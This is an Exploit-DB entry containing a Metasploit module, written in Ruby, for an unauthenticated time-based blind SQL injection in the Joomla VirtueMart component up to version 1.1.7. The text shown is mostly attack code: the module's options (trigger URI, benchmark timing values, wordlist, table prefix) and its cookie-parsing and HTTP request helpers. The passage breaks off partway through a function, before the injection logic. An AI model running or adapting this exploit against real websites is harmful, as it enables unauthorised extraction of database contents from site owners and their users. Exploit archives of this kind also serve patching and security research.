Exploit-DB #17579
Description: Joomla! Component com_virtuemart 1.1.7/1.5 - Blind SQL Injection (Metasploit)
Type: webapps
Platform: php
Date: 2011-07-28
Author: TecR0c

Exploit:
# Exploit Title: Joomla 1.5 com_virtuemart <= 1.1.7 blind time-based sql injection MSF module
# Date: Thu Jul 28, 2011
# Author: TecR0c - tecr0c.mythsec [@] gmail.com
# Version: <= 1.1.7
# Download: http://dev.virtuemart.net/projects/virtuemart/files
# Greetz: mythsec team, James Bercega for code base for sqli blind


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking
	
	include Msf::Exploit::Remote::HttpClient
	
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Joomla 1.5 VirtueMart Component <= 1.1.7 Blind SQL Injection',
			'Description'    => %q{
			A vulnerability was discovered by Rocco Calvi and Steve Seeley which identifies
			unauthenticated time-based blind SQL injection in the "page" variable of the 
			virtuemart component. This vulnerability allows an attacker to gain information
			from the database with specially crafted URLs taking advantage of the MySQL
			benchmark. This issue was patched in version 1.1.7a.
			},
			'Author'         =>
				[
					'TecR0c',  #Initial discovery, msf module
					'mr_me',  #Initial discovery with TecR0c
				],
			'License'        =>  MSF_LICENSE,
			'References'     =>
				[
					[ 'URL', 'http://www.exploit-db.com/exploits/17132/' ],
					[ 'URL','http://www.stratsec.net/Research/Advisories/' ],
				],
			'Privileged'     =>  false,
			'Platform'       => 'php',
			'Arch'           =>  ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Feb 11 2011',
			'DefaultTarget'  => 0 ))
			
			register_options(
				[
					OptString.new('JDIR', [true, 'Joomla directory', '/']),
					OptInt.new('BMCT', [true, 'Benchmark Counter', 50000000 ]),
					OptInt.new('BMDF', [true, 'Benchmark Difference', 3 ]),
					OptInt.new('BMRC', [true, 'Benchmark Request Count', 1 ]),
					OptString.new('WLIST', [true, 
								'Wordlist location',
						 		'/home/foo/bar.txt' 
								]),
					OptString.new('AGNT', [false, 'User Agent Info', 'Mozilla/5.0' ]),
					OptString.new('PREF', [false, 'Database prefixt', 'jos_' ]),
					OptString.new('JQRY', [false, 
								'URI to trigger bug', 
								'index.php?option=com_virtuemart&page=1' 
								])
				], self.class)
	end
	#################################################
	# Extract "Set-Cookie"
	def init_cookie(data, cstr = true)
	
		# Raw request? Or cookie data specifically?
		data = data.headers['Set-Cookie'] ? data.headers['Set-Cookie']: data
		
		# Beginning
		if ( data )
			
			# Break them apart
			data = data.split(', ')
			
			# Initialize
			ctmp = ''
			tmps = {}
			
			# Parse cookies
			data.each do | x |
			
				# Remove extra data
				x = x.split(';')[0]
				
				# Seperate cookie pairs
				if ( x =~ /([^;\s]+)=([^;\s]+)/im )
					
					# Key
					k = $1
					
					# Val
					v = $2
					
					# Valid cookie value?
					if ( v.length() > 0 )
					
						# Build cookie hash
						tmps[k] = v
						
						# Report cookie status
						print_status("Got Cookie: #{k} => #{v}");
					end
				end
			end
			
			# Build string data
			if ( cstr == true )
				
				# Loop
				tmps.each do |x,y|
					
					# Cookie key/value
					ctmp << "#{x}=#{y};"
				end
				
				# Assign
				tmps['cstr'] = ctmp
			end
			
			# Return
			return tmps
		else
			# Something may be wrong
			init_debug("No cookies within the given response")
		end
	end
	
	#################################################
	
	# Simple debugging output
	def init_debug(resp, exit = 0)
	
		# Continue execution
		if ( exit.to_i > 0 )
		
			# Exit
			exit(0)
		end
		
	end
	
	#################################################
	
	# Generic post wrapper
	def http_post(url, data, headers = {}, timeout = 15)
	
		# Protocol
		proto = datastore['SSL'] ? 'https': 'http'
		
		# Determine request url
		url = url.length ? url: ''
		
		# Determine User-Agent
		headers['User-Agent'] = headers['User-Agent']  ?
		headers['User-Agent'] : datastore['AGNT']
		
		# Determine Content-Type
		headers['Content-Type'] = headers['Content-Type'] ?
		headers['Content-Type'] : "application/x-www-form-urlencoded"
		
		# Determine Content-Length
		headers['Content-Length'] = data.length
		
		# Determine Referer
		headers['Referer'] = headers['Referer']        ?
		headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"
		
		# Delete all the null headers
		headers.each do | hkey, hval |
			
			# Null value
			if ( !hval )
			
				# Delete header key
				headers.delete(hkey)
			end
		end
		
		# Send request
		resp = send_request_raw(
		{
			'uri'     => datastore['JDIR'] + url,
			'method'  => 'POST',
			'data'    => data,
			'headers' => headers
		},
		timeout	)
			
			
		# Returned
		return resp
	
	end
	
	#################################################
	
	# Generic post multipart wrapper
	def http_post_multipart(url, data, headers = {}, timeout = 15)
		
		# Boundary string
		bndr =  Rex::Text.rand_text_alphanumeric(8)
		
		# Protocol
		proto = datastore['SSL'] ? 'https': 'http'
	
		# Determine request url
		url = url.length ? url: ''
		
		# Determine User-Agent
		headers['User-Agent'] = headers['User-Agent']  ?
		headers['User-Agent'] : datastore['AGNT']
		
		# Determine Content-Type
		headers['Content-Type'] = headers['Content-Type'] ?
		headers['Content-Type'] : "multipart/form-data; boundary=#{bndr}"
		
		# Determine Referer
		headers['Referer'] = headers['Referer']        ?
		headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"
		
		# Delete all the null headers
		headers.each do | hkey, hval |
		
			# Null value
			if ( !hval )
			
				# Delete header key
				headers.delete(hkey)
			end
		end
		
		# Init
		temp = ''
		
		# Parse form values
		data.each do |name, value|
		
			# Hash means file data
			if ( value.is_a?(Ha